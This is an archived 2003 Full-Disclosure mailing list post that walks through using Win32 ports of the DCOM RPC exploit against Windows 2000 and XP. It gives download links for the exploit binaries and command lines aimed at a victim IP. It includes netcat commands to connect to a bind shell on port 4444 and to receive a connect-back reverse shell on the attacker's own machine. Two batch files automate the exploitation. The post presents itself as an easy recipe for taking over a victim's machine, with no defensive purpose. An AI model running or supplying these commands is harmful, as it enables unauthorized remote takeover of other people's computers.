full-disclosure - DCOM RPC exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

From: xillwillx at yahoo.com (w g)
Subject: DCOM RPC exploit 


DCOM RPC exploit paper
7/26/03
by: illwill <xillwillx@...oo.com>
http://illmob.org/rpc/

There are 2 dcom Win32 ported versions available:
Ben Lauziere blauziere@...rn.org   http://illmob.org/rpc/DComExpl_UnixWin32.zip
"exceed" exceed@...rosoftsucks.org http://illmob.org/rpc/dcom-win32.zip

for my example ill be using ben's version cuz it doesnt use a cygwin.dll
how to use the Dcom32.exe ported for win32 boxes:

c:\> dcom32.exe <OS ver. & service pack> <Victim IP>
(ex. C:\> dcom32.exe 2 192.168.0.2)
if all goes well you should get a shell on port 4444 to connect to.
fire up netcat

c:> nc -vvv VicIP Port
(ex.  c:\>nc 192.168.0.2 4444
JackedXP [192.168.0.2] 4444 open
Microsoft Windows XP [Version 5.1.2600]
C:\WINDOWS\system32>)

BAM!!! You got a command prompt access to the victim box!!

easy kiddie bat for dcom32 from morning_wood

<snip rpcx.bat>
@echo on
@echo easy kiddi .bat by morning_wood@...loitlabs.com
@echo useage is "target remote-ip"
@echo target is 1-6 where
@echo -          0 Windows 2000 SP0 (english)
@echo -          1 Windows 2000 SP1 (english)
@echo -          2 Windows 2000 SP2 (english)
@echo -          3 Windows 2000 SP3 (english)
@echo -          4 Windows 2000 SP4 (english)
@echo -          5 Windows XP SP0 (english)
@echo -          6 Windows XP SP1 (english)
pause
dcom32 %1 %2
nc -vvv %2 4444
</snip>

commandline for it would be 
rpcx.bat <osVer> <IP>
(ex. rpcx 2 192.168.0.2)

 

 

 

how to use the root32 exploit (which i found to work like shit.)
first open a recieving netcat connection on your own computer
using the command line
nc -l -v -p 1199  (1199 can be any port you desire)


then use the command line for root32.exe

root32.exe 172.0.15.29   64.252.136.135       1199     2
            remoteIP^       yourIP^     yourPORT^    ^vic service pack

if all goes well you should recieve a commandline connect-back 
prompt through netcat to the vulnerable box.

morning_wood's quick n grimy bat file Root.bat
<snip>
root32 %1 %2 %3 2
nc -vv %1 %3
</snip>

peace out. 
illwill
http://illmob.org


---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030726/50a20ffd/attachment.html